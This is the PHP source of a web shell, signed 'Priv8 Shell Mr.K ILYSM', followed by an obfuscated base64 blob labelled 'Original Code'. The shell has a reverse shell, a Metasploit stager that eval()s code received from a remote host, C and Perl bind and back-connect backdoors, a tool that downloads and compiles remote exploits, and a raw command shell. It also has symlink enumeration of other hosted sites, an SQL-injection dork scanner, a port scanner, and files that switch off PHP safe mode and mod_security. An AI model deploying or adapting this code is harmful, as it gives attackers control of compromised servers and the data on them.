$name = $string[1][0];
$iran = '\.ir';
$israel = '\.il';
$indo = '\.id';
$sg12 = '\.sg';
$edu = '\.edu';
$gov = '\.gov';
$gose = '\.go';
$gober = '\.gob';
$mil1 = '\.mil';
$mil2 = '\.mi';
$malay = '\.my';
$china = '\.cn';
$japan = '\.jp';
$austr = '\.au';
$porn = '\.xxx';
$as = '\.uk';
$calfn = '\.ca';
if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>
<td>
<div class='dom'><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a> </div>
</td>
<td>
'.$UID['name']."
</td>
<td>
<a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>
</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=domain" method="post">
<?php
echo '<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>';
$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
}
echo "</table>";
}
echo '</div>';
}
//////////////////////////////////////////////////////
/////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tool'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tool" method="post">
<?php
error_reporting(0);
function ss($t){if (!get_magic_quotes_gpc()) return trim(urldecode($t));return trim(urldecode(stripslashes($t)));}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whois'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whois" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/$site");
flush();
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/$site");
$ip = @findit($getip,'<pre>','</pre>');
return $ip;
flush();
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains");
$ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">');
return $ip;
flush();
}
function sws_port_scan($ip)
{
$list_post = array('80','21','22','2082','25','53','110','443','143');
foreach ($list_post as $o_port)
{
$connect = @fsockopen($ip,$o_port,$errno,$errstr,5);
if($connect)
{
echo " $ip : $o_port ??? <u style=\"color: #00FFFF\">Open</u> <br /><br />";
flush();
}
}
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
flush();
}
echo '<br><br><center>';
echo '
<br />
<div class="sc"><form method="post"><table class="tabnet">
<tr><th colspan="5">Website Whois</th></tr>
<tr><td>Site to scan </td><td>:</td><td><input type="text" name="site" size="50" style="color:#00FFFF;background-color:#000000" class="inputz" value="site.com" />   <input class="inputzbut" type="submit" style="color:#00FFFF;background-color:#000000" name="scan" value="Scan !" /></td></tr>
</table></form></div>';
if(isset($_POST['scan']))
{
$site = @htmlentities($_POST['site']);
if (empty($site)){die('<br /><br /> Not add IP .. !');}
$ip_port = @gethostbyname($site);
echo "
<br /><div class=\"sc2\">Scanning [ $site ip $ip_port ] ... </div>
<div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>
<div class=\"ru\"> <br /><br /><pre>
";
echo "".sws_port_scan($ip_port)." </pre></div> ";
flush();
echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>
<div class=\"ru\">
<pre>".sws_domain_info($site)."</pre></div>";
flush();
echo "
<div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_net_info($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_sup_dom($site)."</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>
<div class=\"ru\">
<pre>".sws_site_ser($site)."</pre> </div>
<div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
flush();
}
echo '</center>';
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=about" method="post">
<center><br><br><img src='http://www.whoami-film.de/site/images/titletreatment.png'>
<?php
}
//////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
<?php
echo '<br><br><center><form method="post" action=""><b><font color="red">Dork : </font></b> <input class="inputz" type="text" value="" name="dork" style="color:#00FFFF;background-color:#000000" size="20"/><input class="inputzbut" type="submit" style="color:#00FFFF;background-color:#000000" name="scan" value="Scan"></form></center>';
ob_start();
set_time_limit(0);
if (isset($_POST['scan'])) {
$browser = $_SERVER['HTTP_USER_AGENT'];
$first = "startgoogle.startpagina.nl/index.php?q=";
$sec = "&start=";
$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
for($id=0 ; $id<=30; $id++){
$page=$id*10;
$dork=urlencode($_POST['dork']);
$url = $first.$dork.$sec.$page;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
$result = curl_exec($curl);
curl_close($curl);
preg_match_all($reg,$result,$matches);
}
foreach($matches[1] as $site){
$url = preg_replace("/=/", "='", $site);
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,$url);
curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
curl_setopt($curl,CURLOPT_TIMEOUT,'5');
$GET=curl_exec($curl);
if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font color=#FF0000> <-- SQLI Vuln
Found..</font></b></center>';
ob_flush();flush();
}else{
echo '<center><font color="#FFFFFF"><b>'.$url.'</b></font><font color="#0FFF16"> <-- Not Vuln</font></center>';
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
ob_flush();flush();
}
elseif(isset($_GET['x']) && ($_GET['x'] == 'upload')){
if(isset($_POST['uploadcomp'])){
if(is_uploaded_file($_FILES['file']['tmp_name'])){
$path = magicboom($_POST['path']);
$fname = $_FILES['file']['name'];
$tmp_name = $_FILES['file']['tmp_name'];
$pindah = $path.$fname;
$stat = @move_uploaded_file($tmp_name,$pindah);
if ($stat) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $fname";
}
else $msg = "failed to upload $fname";
}
elseif(isset($_POST['uploadurl'])){
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$path = magicboom($_POST['path']);
$namafile = download($pilihan,$wurl);
$pindah = $path.$namafile;
if(is_file($pindah)) {
$msg = "file uploaded to $pindah";
}
else $msg = "failed to upload $namafile";
}
?>
<form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post">
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from computer</th></tr>
<tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
</tr>
</table></form>
<table class="tabnet" style="width:320px;padding:0 1px;">
<tr><th colspan="2">Upload from url</th></tr>
<tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&x=upload">
<table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr>
<tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php }
elseif(isset($_GET['x']) && ($_GET['x'] == 'netsploit')){
// bind connect with c
if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdc.c",$port_bind_bd_c);
exe("gcc -o bdc bdc.c");
exe("chmod 777 bdc");
@unlink("bdc.c");
exe("./bdc ".$port." ".$passwrd." &");
$scan = exe("ps aux");
if(eregi("./bdc $por",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// bind connect with perl
elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
$port = trim($_POST['port']);
$passwrd = trim($_POST['bind_pass']);
tulis("bdp",$port_bind_bd_pl);
exe("chmod 777 bdp");
$p2=which("perl");
exe($p2." bdp ".$port." &");
$scan = exe("ps aux");
if(eregi("$p2 bdp $port",$scan)){ $msg = "<p>Process found running, backdoor setup successfully.</p>"; }
else { $msg = "<p>Process not found running, backdoor not setup successfully.</p>"; }
}
// back connect with c
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcc.c",$back_connect_c);
exe("gcc -o bcc bcc.c");
exe("chmod 777 bcc");
@unlink("bcc.c");
exe("./bcc ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
// back connect with perl
elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
$ip = trim($_POST['ip']);
$port = trim($_POST['backport']);
tulis("bcp",$back_connect);
exe("chmod +x bcp");
$p2=which("perl");
exe($p2." bcp ".$ip." ".$port." &");
$msg = "Now script try connect to ".$ip." port ".$port." ...";
}
elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd']))
{
$pilihan = trim($_POST['pilihan']);
$wurl = trim($_POST['wurl']);
$namafile = download($pilihan,$wurl);
if(is_file($namafile)) {
$msg = exe($wcmd);
}
else $msg = "error: file not found $namafile";
}
?>
<table class="tabnet">
<tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr>
<tr>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr>
<tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr>
<tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr>
<tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select>
<input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form>
</table>
</td>
<td>
<table>
<form method="post" action="?y=<?php echo $pwd; ?>&x=netsploit">
<tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr>
<tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td>
</tr>
<tr><td><select size="1" class="inputz" name="pilihan">
<option value="wwget">wget</option>
<option value="wlynx">lynx</option>
<option value="wfread">fread</option>
<option value="wfetch">fetch</option>
<option value="wlinks">links</option>
<option value="wget">GET</option>
<option value="wcurl">curl</option>
</select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form>
</table>
</td>
</tr>
</table>
<div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
<?php } elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){ ?>
<form action="?y=<?php echo $pwd; ?>&x=shell" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" readonly>
<?php
if(isset($_POST['submitcmd'])) {
echo @exe($_POST['cmd']);
}
?>
</textarea>
<tr><td colspan="2"><?php echo $prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table>
</form>
<?php }
else {
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
$file = $_GET['delete'];
@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
$path = $pwd.$_GET['mkdir'];
@mkdir($path);
}
$buff = showdir($pwd,$prompt);
echo $buff;
}
?>
<br><input class=inputzbut align=left type=submit name=ini value="Bypass Disable Functions and Safemode" />
<?php
if(isset($_POST['ini']))
{
$byphp = "safe_mode = Off
disable_functions = None
safe_mode_gid = OFF
open_basedir = OFF
allow_url_fopen = On";
$byht = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
SecFilterCheckURLEncoding Off
SecFilterCheckUnicodeEncoding Off
</IfModule>";
file_put_contents("php.ini",$byphp);
file_put_contents(".htaccess",$byht);
echo "<script>alert('Disable Functions and Safemode Created'); hideAll();</script>";
die();
}
?><center><br><br><div class="info">-=[ Priv8 Shell <b>Mr.K ILYSM WAS HERE</b> ]=-</div><br>
<div class="jaya">© 2015 Mr.K ILYSM</div></center><br><br>
</script>
<embed src="https://www.youtube.com/v/kFRC6r-BBag&autoplay=1" type="application/x-shockwave-flash" wmode="transparent" height="1" width="1"><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
</div>
</body>
</html>
Did this file decode correctly?
Original Code
<?php
###########################
##malaikat Galau Was Here##
###########################
@ini_set('output_buffering',0);
@ini_set('display_errors', 0);
$andelacantik = "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